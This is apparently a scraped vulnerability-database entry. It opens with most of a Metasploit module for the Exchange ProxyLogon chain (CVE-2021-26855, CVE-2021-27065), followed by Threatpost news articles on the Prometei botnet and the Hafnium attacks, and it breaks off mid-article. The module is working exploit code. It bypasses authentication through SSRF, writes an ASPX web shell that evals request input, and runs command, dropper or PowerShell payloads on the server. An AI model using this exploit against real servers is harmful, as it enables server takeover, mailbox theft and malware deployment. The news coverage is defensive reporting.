\n} \n] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'AKA' => ['ProxyLogon'] \n} \n) \n) \n \nregister_options([ \nOptString.new('EMAIL', [true, 'A known email address for this organization']), \nOptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]), \nOptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]) \n]) \n \nregister_advanced_options([ \nOptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']), \nOptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']), \nOptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']), \nOptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), \nOptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), \nOptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]), \nOptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) \n]) \nend \n \ndef cmd_windows_generic? \ndatastore['PAYLOAD'] == 'cmd/windows/generic' \nend \n \ndef encode_cmd(cmd) \ncmd.gsub!('\\\\', '\\\\\\\\\\\\') \ncmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b') \nend \n \ndef execute_command(cmd, _opts = {}) \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\" \nsend_request_raw( \n'method' => 'POST', \n'uri' => normalize_uri(web_directory, @random_filename), \n'ctype' => 'application/x-www-form-urlencoded', \n'data' => \"#{@random_inputname}=#{cmd}\" \n) \nend \n \ndef install_payload(exploit_info) \n# exploit_info: [server_name, sid, session, canary, oab_id] \n \ninput_name = rand_text_alpha(4..8).to_s \nshell = \"http://o/#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{input_name}\\\"],\\\"unsafe\\\");}</script>\" \ndata = { \nidentity: { \n__type: 'Identity:ECP', \nDisplayName: (exploit_info[4][0]).to_s, \nRawIdentity: (exploit_info[4][1]).to_s \n}, \nproperties: { \nParameters: { \n__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \nExternalUrl: shell.to_s \n} \n} \n}.to_json \n \nresponse = send_http( \n'POST', \n\"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\", \ndata: data, \ncookie: exploit_info[2], \nctype: 'application/json; charset=utf-8', \nheaders: { \n'msExchLogonMailbox' => patch_sid(exploit_info[1]), \n'msExchTargetMailbox' => patch_sid(exploit_info[1]), \n'X-vDirObjectId' => (exploit_info[4][1]).to_s \n} \n) \nreturn '' if response.code != 200 \n \ninput_name \nend \n \ndef message(msg) \n\"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\" \nend \n \ndef patch_sid(sid) \nar = sid.to_s.split('-') \nif ar[-1] != '500' \nsid = \"#{ar[0..6].join('-')}-500\" \nend \n \nsid \nend \n \ndef random_mapi_id \nid = \"{#{Rex::Text.rand_text_hex(8)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\" \nid.upcase \nend \n \ndef random_ssrf_id \n# https://en.wikipedia.org/wiki/2,147,483,647 (lol) \n# max. 2147483647 \nrand(1941962752..2147483647) \nend \n \ndef request_autodiscover(server_name) \nxmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } \n \nresponse = send_http( \n'POST', \n\"#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}\", \ndata: soap_autodiscover, \nctype: 'text/xml; charset=utf-8' \n) \n \ncase response.body \nwhen %r{<ErrorCode>500</ErrorCode>} \nfail_with(Failure::NotFound, 'No Autodiscover information was found') \nwhen %r{<Action>redirectAddr</Action>} \nfail_with(Failure::NotFound, 'No email address was found') \nend \n \nxml = Nokogiri::XML.parse(response.body) \n \nlegacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content \nfail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty? \n \nserver = '' \nxml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| \ntype = item.at_xpath('./xmlns:Type', xmlns)&.content \nif type == 'EXCH' \nserver = item.at_xpath('./xmlns:Server', xmlns)&.content \nend \nend \nfail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty? \n \n[server, legacy_dn] \nend \n \n# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff \ndef request_mapi(server_name, legacy_dn, server_id) \ndata = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\" \nheaders = { \n'X-RequestType' => 'Connect', \n'X-ClientInfo' => random_mapi_id, \n'X-ClientApplication' => datastore['MapiClientApp'], \n'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\" \n} \n \nsid = '' \nresponse = send_http( \n'POST', \n\"Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}\", \ndata: data, \nctype: 'application/mapi-http', \nheaders: headers \n) \nif response.code == 200 \nsid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/ \n \nsid = response.body.match(sid_regex).to_s \nend \nfail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty? \n \nsid \nend \n \ndef request_oab(server_name, sid, session, canary) \ndata = { \nfilter: { \nParameters: { \n__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \nSelectedView: '', \nSelectedVDirType: 'OAB' \n} \n}, \nsort: {} \n}.to_json \n \nresponse = send_http( \n'POST', \n\"Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}\", \ndata: data, \ncookie: session, \nctype: 'application/json; charset=utf-8', \nheaders: { \n'msExchLogonMailbox' => patch_sid(sid), \n'msExchTargetMailbox' => patch_sid(sid) \n} \n) \n \nif response.code == 200 \ndata = JSON.parse(response.body) \ndata['d']['Output'].each do |oab| \nif oab['Server'].downcase == server_name.downcase \nreturn [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']] \nend \nend \nend \n \n[] \nend \n \ndef request_proxylogon(server_name, sid) \ndata = \"<r at=\\\"Negotiate\\\" ln=\\\"#{datastore['EMAIL'].split('@')[0]}\\\"><s>#{sid}</s></r>\" \nsession_id = '' \ncanary = '' \n \nresponse = send_http( \n'POST', \n\"Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}\", \ndata: data, \nctype: 'text/xml; charset=utf-8', \nheaders: { \n'msExchLogonMailbox' => patch_sid(sid), \n'msExchTargetMailbox' => patch_sid(sid) \n} \n) \nif response.code == 241 \nsession_id = response.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0] \ncanary = response.get_cookies.scan(/msExchEcpCanary=([\\w\\-_.]+);*/).flatten[0] # coin coin coin ... \nend \n \n[session_id, canary] \nend \n \n# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. \ndef run_cve_2021_26855 \n# request for internal server name. \nresponse = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\") \nif response.code != 500 || !response.headers.to_s.include?('X-FEServer') \nfail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found') \nend \n \nserver_name = response.headers['X-FEServer'] \nprint_status(\"Internal server name (#{server_name})\") \n \n# get informations by autodiscover request. \nprint_status(message('Sending autodiscover request')) \nserver_id, legacy_dn = request_autodiscover(server_name) \n \nprint_status(\"Server: #{server_id}\") \nprint_status(\"LegacyDN: #{legacy_dn}\") \n \n# get the user UID using mapi request. \nprint_status(message('Sending mapi request')) \nsid = request_mapi(server_name, legacy_dn, server_id) \nprint_status(\"SID: #{sid} (#{datastore['EMAIL']})\") \n \n# search oab \nsid, session, canary, oab_id = search_oab(server_name, sid) \n \n[server_name, sid, session, canary, oab_id] \nend \n \n# post-auth arbitrary file write. \ndef run_cve_2021_27065(session_info) \n# set external url (and set the payload). \nprint_status('Prepare the payload on the remote target') \ninput_name = install_payload(session_info) \n \nfail_with(Failure::NoAccess, 'Could\\'t prepare the payload on the remote target') if input_name.empty? \n \n# reset the virtual directory (and write the payload). \nprint_status('Write the payload on the remote target') \nremote_file = write_payload(session_info) \n \nfail_with(Failure::NoAccess, 'Could\\'t write the payload on the remote target') if remote_file.empty? \n \n# wait a lot. \ni = 0 \nwhile i < datastore['MaxWaitLoop'] \nreceived = send_request_cgi({ \n'method' => 'GET', \n'uri' => normalize_uri(web_directory, remote_file) \n}) \nif received && (received.code == 200) \nbreak \nend \n \nprint_warning(\"Wait a lot (#{i})\") \nsleep 5 \ni += 1 \nend \nfail_with(Failure::PayloadFailed, 'Could\\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302 \n \n[input_name, remote_file] \nend \n \ndef search_oab(server_name, sid) \n# request cookies (session and canary) \nprint_status(message('Sending ProxyLogon request')) \n \nprint_status('Try to get a good msExchCanary (by patching user SID method)') \nsession_id, canary = request_proxylogon(server_name, patch_sid(sid)) \nif canary \nsession = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\" \noab_id = request_oab(server_name, sid, session, canary) \nend \n \nif oab_id.nil? || oab_id.empty? \nprint_status('Try to get a good msExchCanary (without correcting the user SID)') \nsession_id, canary = request_proxylogon(server_name, sid) \nif canary \nsession = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\" \noab_id = request_oab(server_name, sid, session, canary) \nend \nend \n \nfail_with(Failure::NotFound, 'No \\'ASP.NET_SessionId\\' was found') if session_id.nil? || session_id.empty? \nfail_with(Failure::NotFound, 'No \\'msExchEcpCanary\\' was found') if canary.nil? || canary.empty? \nfail_with(Failure::NotFound, 'No \\'OAB Id\\' was found') if oab_id.nil? || oab_id.empty? \n \nprint_status(\"ASP.NET_SessionId: #{session_id}\") \nprint_status(\"msExchEcpCanary: #{canary}\") \nprint_status(\"OAB id: #{oab_id[1]} (#{oab_id[0]})\") \n \nreturn [sid, session, canary, oab_id] \nend \n \ndef send_http(method, ssrf, opts = {}) \nssrf = \"X-BEResource=#{ssrf};\" \nif opts[:cookie] && !opts[:cookie].empty? \nopts[:cookie] = \"#{ssrf} #{opts[:cookie]}\" \nelse \nopts[:cookie] = ssrf.to_s \nend \n \nopts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil? \n \nrequest = { \n'method' => method, \n'uri' => @random_uri, \n'agent' => datastore['UserAgent'], \n'ctype' => opts[:ctype] \n} \nrequest = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? \nrequest = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? \nrequest = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? \n \nreceived = send_request_cgi(request) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nreceived \nend \n \ndef soap_autodiscover \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\"> \n<Request> \n<EMailAddress>#{datastore['EMAIL']}</EMailAddress> \n<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> \n</Request> \n</Autodiscover> \nSOAP \nend \n \ndef web_directory \nif datastore['UseAlternatePath'] \nweb_dir = datastore['IISWritePath'].gsub('\\\\', '/') \nelse \nweb_dir = datastore['ExchangeWritePath'].gsub('\\\\', '/') \nend \nweb_dir \nend \n \ndef write_payload(exploit_info) \n# exploit_info: [server_name, sid, session, canary, oab_id] \n \nremote_file = \"#{rand_text_alpha(4..8)}.aspx\" \nif datastore['UseAlternatePath'] \nremote_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\" \nremote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\" \nelse \nremote_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\" \nremote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\" \nend \n \ndata = { \nidentity: { \n__type: 'Identity:ECP', \nDisplayName: (exploit_info[4][0]).to_s, \nRawIdentity: (exploit_info[4][1]).to_s \n}, \nproperties: { \nParameters: { \n__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \nFilePathName: remote_path.to_s \n} \n} \n}.to_json \n \nresponse = send_http( \n'POST', \n\"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\", \ndata: data, \ncookie: exploit_info[2], \nctype: 'application/json; charset=utf-8', \nheaders: { \n'msExchLogonMailbox' => patch_sid(exploit_info[1]), \n'msExchTargetMailbox' => patch_sid(exploit_info[1]), \n'X-vDirObjectId' => (exploit_info[4][1]).to_s \n} \n) \nreturn '' if response.code != 200 \n \nremote_file \nend \n \ndef exploit \n@proto = (ssl ? 'https' : 'http') \n@random_uri = normalize_uri('ecp', \"#{rand_text_alpha(1..3)}.js\") \n \nprint_status(message('Attempt to exploit for CVE-2021-26855')) \nexploit_info = run_cve_2021_26855 \n \nprint_status(message('Attempt to exploit for CVE-2021-27065')) \nshell_info = run_cve_2021_27065(exploit_info) \n \n@random_inputname = shell_info[0] \n@random_filename = shell_info[1] \n \nprint_good(\"Yeeting #{datastore['PAYLOAD']} payload at #{peer}\") \nif datastore['UseAlternatePath'] \nremote_file = \"#{datastore['IISBasePath']}\\\\#{datastore['IISWritePath']}\\\\#{@random_filename}\" \nelse \nremote_file = \"#{datastore['ExchangeBasePath']}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\\\\#{@random_filename}\" \nend \nregister_files_for_cleanup(remote_file) \n \n# trigger powa! \ncase target['Type'] \nwhen :windows_command \nvprint_status(\"Generated payload: #{payload.encoded}\") \n \nif !cmd_windows_generic? \nexecute_command(payload.encoded) \nelse \nresponse = execute_command(\"cmd /c #{payload.encoded}\") \n \nprint_warning('Dumping command output in response') \noutput = response.body.split('Name :')[0] \nif output.empty? \nprint_error('Empty response, no command output') \nreturn \nend \nprint_line(output) \nend \nwhen :windows_dropper \nexecute_command(generate_cmdstager(concat_operator: ';').join) \nwhen :windows_powershell \ncmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) \nexecute_command(cmd) \nend \nend \n \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/161938/exchange_proxylogon_rce.rb.txt"}], "threatpost": [{"lastseen": "2021-04-23T17:33:27", "description": "A heretofore little-seen botnet dubbed Prometei is taking a page from advanced persistent threat (APT) cyberattackers: The malware is exploiting two of the Microsoft Exchange vulnerabilities collectively known as ProxyLogon, in order to drop a Monero cryptominer on its targets.\n\nIt\u2019s also highly complex and sophisticated, researchers noted. While cryptojacking is its current game, Cybereason researchers warned that Prometei (the Russian word for Prometheus, the Titan god of fire from the Greek mythology) gives attackers complete control over infected machines, which makes it capable of doing a wide range of damage.\n\n[](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>)\n\nDownload \u201cThe Evolution of Ransomware\u201d to gain valuable insights on emerging trends amidst rapidly growing attack volumes. Click above to hone your defense intelligence!\n\n\u201cIf they wish to, they can steal information, infect the endpoints with other malware or even collaborate with ransomware gangs by selling the access to the infected endpoints,\u201d Cybereason researcher Lior Rochberger noted in [an analysis](<https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities>) released Thursday. \u201c[And] since cryptomining can be resource-hogging, it can affect the performance and stability of critical servers and endpoints, ultimately affecting business continuity.\u201d\n\nThe report noted that Cybereason has recently seen wide swathes of Prometei attacks on a variety of industries, including construction, finance, insurance, manufacturing, retail, travel and utilities. Geographically speaking, it has been observed infecting networks in the U.S., U.K. and many other European countries, as well as countries in South America and East Asia. It was also observed that the threat actors appear to be explicitly avoiding infecting targets in former Soviet-bloc countries.\n\n\u201cThe victimology is quite random and opportunistic rather than highly targeted, which makes it even more dangerous and widespread,\u201d Rochberger said.\n\n## **Exploiting Microsoft Exchange Security Bugs**\n\n[ProxyLogon](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) consists of four flaws that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment, such as the [deployment of ransomware](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>), or as in this case, [cryptominers](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>).\n\nMicrosoft last month warned that the bugs were being [actively exploited](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) by the Hafnium advanced persistent threat (APT); after that, other researchers said that [10 or more additional APTs](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) were also using them.\n\nWhen it comes to Prometei, researchers have observed attacks against companies in North America making use of the ProxyLogon bugs tracked as CVE-2021-27065 and CVE-2021-26858. Both are post-authentication arbitrary file-write vulnerabilities in Exchange; once authenticated with an Exchange server, attackers could write a file to any path on the server \u2013 thus achieving RCE.\n\nThe attackers use the vulnerabilities to install and execute the China Chopper web shell, according to Rochberger. They then use [China Chopper to launch a PowerShell](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>), which in turn downloads a payload from an attacker-controlled URL. That payload is then saved and executes, which ultimately starts the Prometei botnet execution.\n\n\u201cPrometei is a modular and multistage cryptocurrency botnet that was first discovered in July 2020 which has both Windows and Linux versions,\u201d explained Rochberger, who added that the botnet could extend back to 2016. \u201cThe latest versions of Prometei now provide the attackers with a sophisticated and stealthy backdoor that supports a wide range of tasks that make mining Monero coins the least of the victims\u2019 concerns.\u201d\n\n## **Prometei Under the Hood**\n\nThe first module of the botnet, zsvc.exe, copies itself into C:\\Windows with the name \u201csqhost.exe,\u201d and then creates a firewall rule that will allow sqhost.exe to create connections over HTTP, according to the research. It also sets a registry key for persistence, and creates several other registry keys for later command-and-control (C2) communications by additional modules.\n\n\u201cSqhost.exe is the main bot module, complete with backdoor capabilities that support a wide range of commands,\u201d according to the analysis. \u201cSqhost.exe is able to parse the prometei.cgi file from four different hardcoded C2 servers. The file contains the command to be executed on the machine. The commands can be used as standalone native OS commands\u2026or can be used to interact with the other modules of the malware.\u201d\n\nIt also controls the XMRig cryptominer that the malware installs on the machine, Cybereason noted. The commands on offer include the ability to execute a program or open a file; start or stop the mining process; download files; gather system information; check if a specific port is open; search for specific files or extensions; and update the malware \u2013 among other things.\n\n\u201cThe malware authors are able to add more modules and expand their capabilities easily, and potentially even shift to another payload objective, more destructive than just mining Monero,\u201d Rochberger warned.\n\nThe report noted that the execution of the malware also includes two other \u201ctree processes:\u201d cmd.exe and wmic.exe.\n\nWmic.exe is used to perform reconnaissance commands, including gathering the last time the machine was booted up, the machine model and more. Meanwhile Cmd.exe is used to block certain IP addresses from communicating with the machine.\n\n\u201cWe assess that those IP addresses are used by other malware, potentially miners, and the attackers behind Prometei wanted to ensure that all the resources of the network are available just for them,\u201d Rochberger explained.\n\n## **Lateral Malware Movement: Additional Malicious Modules**\n\nPrometei uses different techniques and tools, ranging from Mimikatz to the EternalBlue and BlueKeep exploits, along with other tools that all work together to propagate across the network, according to the analysis. To carry all of this out, the main botnet module downloads additional modules, including four main components:\n\n * exe\n * exe and an archived file, Netwalker.7z (7zip is used to extract the files in the archive)\n * exe\n * exe\n\nExchdefender masquerades as a made-up program called \u201cMicrosoft Exchange Defender.\u201d It constantly checks the files within a program files directory known to be used to host web shells, looking for one file in particular, according to Cybereason.\n\n\u201cThe malware is specifically interested in the file \u2018ExpiredPasswords.aspx\u2019 which was reported to be the name used to obscure the HyperShell backdoor used by [APT34 (aka. OilRig)](<https://threatpost.com/oilrig-apt-unique-backdoor/157646/>),\u201d Rochberger said. If the file exists, the malware immediately deletes it. Our assessment is that this tool is used to \u201cprotect\u201d the compromised Exchange Server by deleting potential WebShells so Prometei will remain the only malware using its resources.\u201d\n\nThe Netwalker.7z archive meanwhile is password-protected, using the password \u201chorhor123.\u201d The archive contains the following files: Nethelper2.exe, Nethelper4.exe, Windrlver.exe, a few DLLs,a copy of RdpcIip.exe and a few DLLs used by the bot components.\n\nRdcIip.exe is a key component of the malware, used for harvesting credentials and spreading laterally across the network, Rochberger explained. It also tries to propagate within the network environment by brute-forcing usernames and passwords using a built-in list of common combinations, he said.\n\nIf that doesn\u2019t work, it turns to the [SMB shared-drive exploit EternalBlue](<https://threatpost.com/nsas-eternalblue-exploit-ported-to-windows-10/126087/>) to execute a shell code for installing the main bot module Sqhost.exe. To use the exploit, the malware downgrades the SMB protocol to SMB1, which is vulnerable to it. Cybereason also observed the module using the [Remote Desktop Protocol (RDP) exploit BlueKeep](<https://threatpost.com/bluekeep-attacks-have-arrived-are-initially-underwhelming/149829/>).\n\nInterestingly, RdpcIip also can coordinate other components of the bot such as Windlver.exe, which is an OpenSSH and SSLib-based software that the attackers created so they can spread across the network using SSH, the report noted.\n\n\u201c[RdpcIip] has huge (trust us, huge) functionality with different branches with the main purpose being to interact with other components of the malware and make them work all together,\u201d Rochberger said.\n\nAnd finally, Miwalk.exe is a customized version of the Mimikatz credential-finding tool that RdpcIip.exe launches. The output is saved in text files and used by RdpcIip as it tries to validate the credentials and spread, according to the analysis.\n\n## **Taking a Page from APTs**\n\nThe group behind Prometei is financially motivated and operated by Russian-speaking individuals but is not backed by a nation-state, according to Cybereason. Nonetheless, the malware\u2019s sophistication and rapid incorporation of ProxyLogon exploits shows advanced capabilities that could make the botnet a serious danger in terms of espionage, information theft, follow-on malware and more, Rochberger warned.\n\n\u201cThreat actors in the cybercrime community continue to adopt APT-like techniques and improve the efficiency of their operations,\u201d he explained. \u201cPrometei is a complex and multistage botnet that, due to its stealth and wide range of capabilities, puts the compromised network at great risk\u2026The threat actors rode the wave of the recently discovered flaws and exploited them in order to penetrate targeted networks. We anticipate continued evolution of the advanced techniques being used by different threat actors for different purposes, including cybercrime groups.\u201d\n\n**Download our exclusive FREE Threatpost Insider eBook,** **_\u201c[2021: The Evolution of Ransomware](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>),\u201d_**** to help hone your cyber-defense strategies against this growing scourge. We go beyond the status quo to uncover what\u2019s next for ransomware and the related emerging risks. Get the whole story and [DOWNLOAD](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>) the eBook now \u2013 on us!**\n", "cvss3": {}, "published": "2021-04-23T17:15:23", "type": "threatpost", "title": "Prometei Botnet Could Fire Up APT-Style Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-04-23T17:15:23", "id": "THREATPOST:1B1BF3F545C6375A88CD201E2A55DF23", "href": "https://threatpost.com/prometei-botnet-apt-attacks/165574/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-03T22:09:32", "description": "Microsoft has spotted multiple zero-day exploits in the wild being used to attack on-premises versions of Microsoft Exchange Server. Adversaries have been able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\nThe attacks are \u201climited and targeted,\u201d according to Microsoft, spurring it to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) this week. The exploited bugs are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\nHowever, other researchers [have reported](<https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers/>) seeing the activity compromising mass swathes of victim organizations.\n\n\u201cThe team is seeing organizations of all shapes and sizes affected, including electricity companies, local/county governments, healthcare providers and banks/financial institutions, as well as small hotels, multiple senior citizen communities and other mid-market businesses,\u201d a spokesperson at Huntress told Threatpost.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe culprit is believed to be an advanced persistent threat (APT) group known as Hafnium (also the name of a chemical element), which has a history of targeting assets in the United States with cyber-espionage campaigns. Targets in the past have included defense contractors, infectious disease researchers, law firms, non-governmental organizations (NGOs), policy think tanks and universities.\n\n\u201cMicrosoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to Hafnium, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures,\u201d according to [an announcement](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) this week from Microsoft on the attacks.\n\n## **Zero-Day Security Bugs in Exchange Server**\n\n\u201cThe fact that Microsoft chose to patch these flaws out-of-band rather than include them as part of next week\u2019s [Patch Tuesday](<https://threatpost.com/exploited-windows-kernel-bug-takeover/163800/>) release leads us to believe the flaws are quite severe even if we don\u2019t know the full scope of those attacks,\u201d Satnam Narang, staff research engineer at Tenable, said via email.\n\nMicrosoft patched following bugs this week, and admins should update accordingly:\n\n * **CVE-2021-26855** is a server-side request forgery (SSRF) vulnerability that allows authentication bypass: A remote attacker can simply send arbitrary HTTP requests to the Exchange server and be able to authenticate to it. From there, an attacker can steal the full contents of multiple user mailboxes.\n * **CVE-2021-26857** is an insecure-deserialization vulnerability in the Unified Messaging service, where untrusted user-controllable data is deserialized by a program. An exploit allows remote attackers with administrator permissions to run code as SYSTEM on the Exchange server.\n * **CVE-2021-26858** and **CVE-2021-27065** are both post-authentication arbitrary file-write vulnerabilities in Exchange. Once authenticated with an Exchange server (using CVE-2021-26855 or with compromised admin credentials), an attacker could write a file to any path on the server \u2013 thus achieving remote code execution (RCE).\n\nResearchers at Volexity originally uncovered the SSRF bug as part of an incident response and noted, \u201cThis vulnerability is remotely exploitable and does not require authentication of any kind, nor does it require any special knowledge or access to a target environment. The attacker only needs to know the server running Exchange and the account from which they want to extract email.\u201d\n\nThey also observed the SSRF bug being chained with CVE-2021-27065 to accomplish RCE in multiple attacks.\n\nIn addition to Volexity, Microsoft credited security researchers at Dubex with uncovering the recent activity, which was first observed in January.\n\n\u201cBased on what we know so far, exploitation of one of the four vulnerabilities requires no authentication whatsoever and can be used to potentially download messages from a targeted user\u2019s mailbox,\u201d said Tenable\u2019s Narang. \u201cThe other vulnerabilities can be chained together by a determined threat actor to facilitate a further compromise of the targeted organization\u2019s network.\u201d\n\n## **What Happened in the Hafnium Attacks?**\n\nIn the observed campaigns, the four zero-day bugs were used to gain initial access to targeted Exchange servers and achieve RCE. Hafnium operators then deployed web shells on the compromised servers, which were used to steal data and expand the attack, according to researchers.\n\n\u201cIn all cases of RCE, Volexity has observed the attacker writing webshells (ASPX files) to disk and conducting further operations to dump credentials, add user accounts, steal copies of the Active Directory database (NTDS.DIT) and move laterally to other systems and environments,\u201d according to [Volexity\u2019s writeup](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>).\n\nFollowing web shell deployment, Microsoft found that Hafnium operators performed a range of post-exploitation activity:\n\n * Using Procdump to dump the LSASS process memory;\n * Using 7-Zip to compress stolen data into ZIP files for exfiltration;\n * Adding and using Exchange PowerShell snap-ins to export mailbox data;\n * Using the Nishang Invoke-PowerShellTcpOneLine reverse shell;\n * And downloading PowerCat from GitHub, then using it to open a connection to a remote server.\n\nThe attackers were also able to download the Exchange offline address book from compromised systems, which contains information about an organization and its users, according to the analysis.\n\n\u201cThe good news for defenders is that the post-exploitation activity is very detectable,\u201d said Katie Nickels, director of intelligence at Red Canary, via email, adding her firm has detected numerous attacks as well. \u201cSome of the activity we observed uses [the China Chopper web shell](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>), which has been around for more than eight years, giving defenders ample time to develop detection logic for it.\u201d\n\n## **Who is the Hafnium APT?**\n\nHafnium has been tracked by Microsoft before, but the company has [only just released a few details](<https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/>) on the APT.\n\nIn terms of its tactics, \u201cHafnium has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control,\u201d according to Microsoft. \u201cOnce they\u2019ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.\u201d\n\nHafnium operates primarily from leased virtual private servers in the 